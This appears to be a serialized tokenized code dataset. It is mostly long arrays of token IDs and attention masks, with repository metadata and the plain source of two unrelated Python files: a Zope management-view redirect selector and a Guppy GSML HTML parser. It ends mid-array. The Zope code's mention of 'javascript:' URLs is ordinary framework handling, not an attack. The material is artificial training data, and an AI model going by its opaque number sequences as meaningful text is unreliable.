88, 1138, 531, 272, 870, 298, 259, 1603, 1658, 31334, 663, 370, 26, 6468, 88, 16, 65, 1103, 10850, 1103, 2207, 24, 1103, 88, 1138, 4065, 199, 199, 893, 26, 272, 862, 26, 267, 1347, 29, 1274, 14, 3020, 59, 20, 61, 272, 871, 7888, 26, 267, 1347, 29, 1773, 63, 1210, 4582, 78, 259, 16401, 314, 3531, 9906, 370, 2854, 13058, 26, 6099, 272, 3335, 628, 34, 723, 795, 70, 6670, 6260, 13297, 14996, 1917, 41, 771, 352, 2, 272, 3335, 11, 628, 22546, 262, 273, 397, 75, 7566, 810, 14996, 1917, 41, 771, 352, 2, 272, 3335, 11, 628, 497, 69, 379, 3893, 6501, 262, 265, 991, 13297, 14996, 1917, 41, 771, 352, 2, 272, 3335, 11, 628, 11881, 290, 546, 983, 3501, 11881, 290, 546, 2977, 11881, 290, 546, 13602, 1858, 278, 2, 272, 3335, 11, 628, 11881, 290, 546, 983, 3501, 11881, 290, 546, 2977, 11881, 290, 546, 13602, 1858, 278, 1405, 290, 546, 983, 3501, 1405, 290, 546, 2977, 509, 278, 2, 272, 3335, 11, 2687, 5095, 9, 272, 3335, 11, 21024, 88, 2710, 31761, 20, 272, 3335, 11, 2687, 272, 327, 4747, 708, 63, 3409, 446, 221, 3651, 649, 19587, 29, 261, 72, 491, 3657, 29, 22872, 14579, 29, 15154, 3447, 2693, 29, 16192, 18, 1455, 921, 10207, 20222, 320, 390, 14, 957, 11589, 272, 1867, 10145, 60, 88, 1644, 60, 88, 1427, 60, 10145, 60, 88, 1717, 60, 1845, 24, 60, 1949, 24, 60, 3581, 60, 3581, 60, 3581, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1401, 60, 88, 1887, 2, 272, 1867, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 1887, 60, 88, 2869, 60, 88, 21, 65, 60, 88, 22, 65, 60, 88, 2976, 2, 272, 1867, 88, 2010, 60, 88, 1400, 60, 88, 1216, 60, 88, 2953, 60, 88, 2192, 60, 88, 2260, 60, 88, 2953, 60, 88, 22, 66, 60, 88, 2953, 60, 88, 2953, 60, 88, 3172, 60, 88, 2953, 60, 88, 708, 60, 88, 2953, 60, 88, 2953, 60, 88, 708, 2, 272, 1867, 88, 2260, 60, 88, 2953, 60, 88, 1216, 60, 88, 2260, 60, 88, 2953, 60, 88, 2010, 60, 88, 1400, 60, 88, 1703, 60, 88, 2953, 60, 88, 2260, 60, 88, 2194, 60, 88, 2333, 60, 88, 1876, 60, 88, 1887, 60, 88, 22, 67, 60, 88, 2192, 2, 272, 1867, 88, 23, 65, 60, 88, 2333, 60, 88, 22, 66, 60, 88, 2789, 60, 88, 22, 68, 60, 88, 1887, 60, 88, 2277, 60, 88, 20, 66, 60, 88, 1887, 60, 88, 1355, 60, 88, 22, 70, 60, 88, 22, 66, 60, 88, 20, 70, 60, 88, 1355, 60, 88, 22, 70, 60, 88, 1153, 2, 272, 1867, 88, 1400, 60, 88, 20, 69, 60, 88, 22, 66, 60, 88, 2528, 60, 88, 20, 67, 60, 88, 1082, 60, 88, 772, 60, 88, 1342, 60, 88, 772, 60, 88, 22, 69, 60, 88, 22, 66, 60, 88, 2260, 60, 88, 2182, 60, 88, 1822, 60, 88, 20, 67, 60, 88, 22, 67, 2, 272, 1867, 88, 20, 66, 60, 88, 2953, 60, 88, 22, 67, 60, 88, 2466, 60, 88, 2182, 60, 88, 2260, 60, 88, 2010, 60, 88, 1641, 60, 88, 3172, 60, 88, 23, 65, 60, 88, 20, 70, 60, 88, 22, 67, 60, 88, 20, 66, 60, 88, 1400, 60, 88, 20, 70, 60, 88, 2182, 2, 272, 1867, 88, 2006, 60, 88, 20, 69, 60, 88, 22, 66, 60, 88, 3172, 60, 88, 20, 70, 60, 88, 2869, 60, 88, 1216, 60, 88, 1401, 60, 88, 3172, 60, 88, 2010, 60, 88, 22, 66, 60, 88, 1138, 60, 88, 1355, 60, 88, 20, 69, 60, 88, 22, 66, 60, 88, 2194, 2, 272, 1867, 88, 772, 60, 88, 20, 67, 60, 88, 20, 66, 60, 88, 2481, 60, 88, 2192, 60, 88, 21, 65, 60, 88, 20, 69, 60, 88, 1602, 60, 88, 3172, 60, 88, 20, 66, 60, 88, 2760, 60, 88, 22, 70, 60, 88, 1876, 60, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Donkyhotay/MoonPy
zope/app/publisher/browser/managementviewselector.py
1
1823
############################################################################## # # Copyright (c) 2002 Zope Corporation and Contributors. # All Rights Reserved. # # This software is subject to the provisions of the Zope Public License, # Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution. # THIS SOFTWARE IS PROVIDED "AS IS" AND ANY AND ALL EXPRESS OR IMPLIED # WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS # FOR A PARTICULAR PURPOSE. # ############################################################################## """Selecting first available and allowed management view $Id: managementviewselector.py 67630 2006-04-27 00:54:03Z jim $ """ from zope.interface import implements from zope.publisher.interfaces.browser import IBrowserPublisher from zope.publisher.browser import BrowserView from zope.app.publisher.browser.menu import getFirstMenuItem class ManagementViewSelector(BrowserView): """View that selects the first available management view. Support 'zmi_views' actions like: 'javascript:alert("hello")', '../view_on_parent.html' or '++rollover++'. """ implements(IBrowserPublisher) def browserDefault(self, request): return self, () def __call__(self): item = getFirstMenuItem('zmi_views', self.context, self.request) if item: redirect_url = item['action'] if not (redirect_url.startswith('../') or \ redirect_url.lower().startswith('javascript:') or \ redirect_url.lower().startswith('++')): self.request.response.redirect(redirect_url) return u'' self.request.response.redirect('.') # Redirect to content/ return u''
gpl-3.0
[ 4605, 199, 3, 199, 3, 1898, 334, 67, 9, 14790, 3107, 13458, 11098, 436, 23212, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 961, 2032, 365, 5420, 370, 314, 1727, 1356, 402, 314, 3107, 13458, 1684, 844, 12, 199, 3, 3394, 499, 14, 17, 334, 58, 2749, 680, 221, 437, 1331, 402, 314, 3107, 2749, 1077, 21727, 642, 4084, 14, 199, 3, 5749, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 1821, 2401, 11727, 7168, 1549, 5292, 199, 3, 2990, 9315, 9706, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 199, 3, 2990, 1634, 377, 16507, 12, 3169, 12, 437, 9741, 7834, 1621, 12600, 12, 2401, 3092, 199, 3, 2381, 437, 3115, 3104, 14, 199, 3, 199, 4605, 199, 624, 5446, 316, 1642, 2808, 436, 4370, 10041, 2455, 199, 199, 4, 1304, 26, 10041, 1345, 6662, 14, 647, 1227, 2114, 1216, 8315, 13, 966, 13, 1465, 8733, 26, 1477, 26, 1644, 58, 1335, 1017, 2672, 199, 624, 199, 504, 20110, 14, 3266, 492, 9031, 199, 504, 20110, 14, 12789, 14, 7436, 14, 5750, 492, 473, 11930, 27341, 199, 504, 20110, 14, 12789, 14, 5750, 492, 27620, 2768, 199, 504, 20110, 14, 571, 14, 12789, 14, 5750, 14, 4470, 492, 664, 7147, 20973, 199, 199, 533, 8259, 2768, 11212, 8, 11930, 2768, 304, 272, 408, 2768, 626, 24750, 314, 1642, 2808, 10041, 2455, 14, 339, 12502, 283, 90, 2664, 63, 4196, 7, 5445, 2839, 26, 283, 9554, 26, 9241, 480, 5006, 30901, 5591, 20644, 1345, 63, 265, 63, 1708, 14, 1360, 7, 503, 283, 4176, 8459, 21960, 4176, 1370, 272, 408, 272, 9031, 8, 2100, 5202, 27341, 9, 339, 347, 7042, 2698, 8, 277, 12, 1056, 304, 267, 372, 291, 12, 6248, 339, 347, 636, 1250, 721, 277, 304, 267, 1242, 275, 664, 7147, 20973, 360, 90, 2664, 63, 4196, 297, 291, 14, 1100, 12, 291, 14, 1069, 9, 398, 340, 1242, 26, 288, 4660, 63, 633, 275, 1242, 459, 1287, 418, 288, 340, 440, 334, 4876, 63, 633, 14, 2460, 24592, 358, 503, 971, 490, 4660, 63, 633, 14, 2325, 1252, 2460, 360, 9554, 10993, 503, 971, 490, 4660, 63, 633, 14, 2325, 1252, 2460, 360, 4176, 8109, 355, 291, 14, 1069, 14, 1310, 14, 4876, 8, 4876, 63, 633, 9, 355, 372, 399, 891, 398, 291, 14, 1069, 14, 1310, 14, 4876, 7563, 327, 18532, 370, 1564, 15, 267, 372, 399, 891, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 199, 3, 1898, 334, 67, 9, 14790, 3107, 13458, 11098, 436, 23212, 14, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 961, 2032, 365, 5420, 370, 314, 1727, 1356, 402, 314, 3107, 13458, 1684, 844, 12, 199, 3, 3394, 499, 14, 17, 334, 58, 2749, 680, 221, 437, 1331, 402, 314, 3107, 2749, 1077, 21727, 642, 4084, 14, 199, 3, 5749, 4141, 2281, 7049, 298, 1179, 2281, 2, 2401, 1821, 2401, 11727, 7168, 1549, 5292, 199, 3, 2990, 9315, 9706, 12, 6931, 12, 5400, 2845, 5471, 2296, 12, 2334, 5292, 199, 3, 2990, 1634, 377, 16507, 12, 3169, 12, 437, 9741, 7834, 1621, 12600, 12, 2401, 3092, 199, 3, 2381, 437, 3115, 3104, 14, 199, 3, 199, 4605, 199, 624, 5446, 316, 1642, 2808, 436, 4370, 10041, 2455, 199, 199, 4, 1304, 26, 10041, 1345, 6662, 14, 647, 1227, 2114, 1216, 8315, 13, 966, 13, 1465, 8733, 26, 1477, 26, 1644, 58, 1335, 1017, 2672, 199, 624, 199, 504, 20110, 14, 3266, 492, 9031, 199, 504, 20110, 14, 12789, 14, 7436, 14, 5750, 492, 473, 11930, 27341, 199, 504, 20110, 14, 12789, 14, 5750, 492, 27620, 2768, 199, 504, 20110, 14, 571, 14, 12789, 14, 5750, 14, 4470, 492, 664, 7147, 20973, 199, 199, 533, 8259, 2768, 11212, 8, 11930, 2768, 304, 272, 408, 2768, 626, 24750, 314, 1642, 2808, 10041, 2455, 14, 339, 12502, 283, 90, 2664, 63, 4196, 7, 5445, 2839, 26, 283, 9554, 26, 9241, 480, 5006, 30901, 5591, 20644, 1345, 63, 265, 63, 1708, 14, 1360, 7, 503, 283, 4176, 8459, 21960, 4176, 1370, 272, 408, 272, 9031, 8, 2100, 5202, 27341, 9, 339, 347, 7042, 2698, 8, 277, 12, 1056, 304, 267, 372, 291, 12, 6248, 339, 347, 636, 1250, 721, 277, 304, 267, 1242, 275, 664, 7147, 20973, 360, 90, 2664, 63, 4196, 297, 291, 14, 1100, 12, 291, 14, 1069, 9, 398, 340, 1242, 26, 288, 4660, 63, 633, 275, 1242, 459, 1287, 418, 288, 340, 440, 334, 4876, 63, 633, 14, 2460, 24592, 358, 503, 971, 490, 4660, 63, 633, 14, 2325, 1252, 2460, 360, 9554, 10993, 503, 971, 490, 4660, 63, 633, 14, 2325, 1252, 2460, 360, 4176, 8109, 355, 291, 14, 1069, 14, 1310, 14, 4876, 8, 4876, 63, 633, 9, 355, 372, 399, 891, 398, 291, 14, 1069, 14, 1310, 14, 4876, 7563, 327, 18532, 370, 1564, 15, 267, 372, 399, 891, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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Parser.HTMLParser def handle_starttag(self, tag, attrs): # print 'starttag', tag, attrs self.stack.append(self.out) self.out = [] if attrs: at = [] for k, v in attrs: at.append(self.mod.node_of_taci(k, v)) self.out.append(self.mod.node_of_taci('with', '', at)) def handle_endtag(self, tag): # print 'endtag', tag node = self.mod.node_of_taci(tag, '', self.out) self.out = self.stack.pop() self.out.append(node) def handle_charref(self, name): #print 'charref', name if name[:1] == "x": char = int(name[1:], 16) name = '0'+name else: char = int(name) if 0 <= char < 128: char = chr(char) self.handle_data(char) else: self.out.append(self.mod.node_of_taci('char', name)) def handle_entityref(self, name): #print 'handle entityref', name if name not in self.mod.entitydefs: self.unknown_entityref(name) self.out.append(self.mod.node_of_taci('char', name)) def unknown_entityref(self, name): raise SyntaxError, 'Unknown entity ref: %r'%name def handle_data(self, data): # print 'data', data # data = data.strip() if data.strip(): self.out.extend( self.mod.nodes_of_text(data) ) def handle_comment(self, data): self.out.append( self.mod.node_of_taci('comment', data, (), 0)) def handle_decl(self, decl): # print 'handle_decl', decl self.out.append( self.mod.node_of_taci('html_declaration', decl)) def handle_pi(self, data): self.out.append( self.mod.node_of_taci('processing_instruction', data)) class _GLUECLAMP_: _imports_ = ( '_root.HTMLParser:HTMLParser', '_parent.SpecNodes:node_of_taci', '_parent.SpecNodes:nodes_of_text', '_root.htmlentitydefs:entitydefs', ) encoding = "iso-8859-1" def node_of_gsml(self, text): class Parser(GsmlHandler, self.HTMLParser): def __init__(self, mod): mod.HTMLParser.__init__(self) self.mod = mod self.out = [] self.stack = [] p = Parser(self) p.feed(text) p.close() if p.stack: raise SyntaxError, 'Missing end tag' node = self.node_of_taci('block', '', p.out, 0) return node def _test_main_(self): x = """ <!DOCTYPE html...> This is an <em> emphasized </em> word. See also <a href="guppy-pe.sf.net"> Guppy. </a> Defined as <use_my_macro/>. Handle char ref: &#100;. Handle char ref: &lt;. <!-- A comment --> <?A processing instruction> <namespace:tag /> """ node = self.node_of_gsml(x) print node if 0 or __name__=='__main__': from guppy import Root Root().guppy.gsl.Gsml._test_main_()
apache-2.0
[ 3, 423, 5107, 63, 2064, 486, 384, 647, 14, 458, 76, 14, 32394, 757, 199, 199, 533, 598, 83, 757, 2461, 26, 272, 327, 4005, 506, 13492, 315, 543, 6020, 2839, 24581, 14, 27375, 339, 347, 2429, 63, 15234, 8, 277, 12, 1947, 12, 3290, 304, 199, 198, 3, 870, 283, 15234, 297, 1947, 12, 3290, 199, 198, 277, 14, 2340, 14, 740, 8, 277, 14, 548, 9, 199, 198, 277, 14, 548, 275, 942, 199, 198, 692, 3290, 26, 6722, 737, 275, 942, 6722, 367, 1022, 12, 373, 315, 3290, 26, 507, 198, 292, 14, 740, 8, 277, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 8, 75, 12, 373, 430, 6722, 291, 14, 548, 14, 740, 8, 277, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 1045, 297, 3260, 737, 430, 507, 14821, 347, 2429, 63, 25765, 8, 277, 12, 1947, 304, 199, 198, 3, 870, 283, 25765, 297, 1947, 199, 198, 932, 275, 291, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 8, 1450, 12, 3260, 291, 14, 548, 9, 199, 198, 277, 14, 548, 275, 291, 14, 2340, 14, 1935, 342, 199, 198, 277, 14, 548, 14, 740, 8, 932, 9, 339, 347, 2429, 63, 24253, 8, 277, 12, 536, 304, 199, 198, 3, 1361, 283, 24253, 297, 536, 267, 340, 536, 1491, 17, 61, 508, 298, 88, 582, 288, 1495, 275, 1109, 8, 354, 59, 17, 8429, 3193, 9, 6722, 536, 275, 283, 16, 6828, 354, 267, 587, 26, 288, 1495, 275, 1109, 8, 354, 9, 267, 340, 378, 2695, 1495, 665, 7960, 26, 6722, 1495, 275, 8678, 8, 1560, 9, 6722, 291, 14, 2479, 63, 576, 8, 1560, 9, 199, 198, 2836, 26, 6722, 291, 14, 548, 14, 740, 8, 277, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 1560, 297, 536, 430, 339, 347, 2429, 63, 4502, 1121, 8, 277, 12, 536, 304, 199, 198, 3, 1361, 283, 2479, 4642, 1121, 297, 536, 199, 198, 692, 536, 440, 315, 291, 14, 1494, 14, 4502, 8710, 26, 288, 291, 14, 5187, 63, 4502, 1121, 8, 354, 9, 199, 198, 277, 14, 548, 14, 740, 8, 277, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 1560, 297, 536, 430, 339, 347, 5809, 63, 4502, 1121, 8, 277, 12, 536, 304, 199, 198, 3730, 12053, 12, 283, 5912, 4642, 2984, 26, 450, 82, 5956, 354, 339, 347, 2429, 63, 576, 8, 277, 12, 666, 304, 199, 198, 3, 870, 283, 576, 297, 666, 199, 198, 3, 666, 275, 666, 14, 1913, 342, 199, 198, 692, 666, 14, 1913, 837, 6722, 291, 14, 548, 14, 2880, 8, 291, 14, 1494, 14, 2415, 63, 1618, 63, 505, 8, 576, 9, 776, 339, 347, 2429, 63, 3349, 8, 277, 12, 666, 304, 199, 198, 277, 14, 548, 14, 740, 8, 291, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 3349, 297, 666, 12, 11969, 378, 430, 507, 272, 347, 2429, 63, 9427, 8, 277, 12, 15021, 304, 199, 198, 3, 870, 283, 2479, 63, 9427, 297, 15021, 199, 198, 277, 14, 548, 14, 740, 8, 291, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 1360, 63, 15477, 297, 15021, 430, 339, 347, 2429, 63, 1038, 8, 277, 12, 666, 304, 199, 198, 277, 14, 548, 14, 740, 8, 291, 14, 1494, 14, 932, 63, 1618, 63, 502, 559, 360, 6338, 63, 22880, 297, 666, 430, 199, 199, 533, 485, 2226, 4187, 1981, 7089, 10388, 272, 485, 12775, 63, 275, 334, 199, 198, 26142, 1231, 14, 27375, 26, 27375, 297, 199, 198, 26142, 1708, 14, 5307, 6300, 26, 932, 63, 1618, 63, 502, 559, 297, 199, 198, 26142, 1708, 14, 5307, 6300, 26, 2415, 63, 1618, 63, 505, 297, 199, 198, 26142, 1231, 14, 15575, 552, 1701, 8710, 26, 4502, 8710, 297, 199, 198, 9, 339, 2644, 275, 298, 4595, 13, 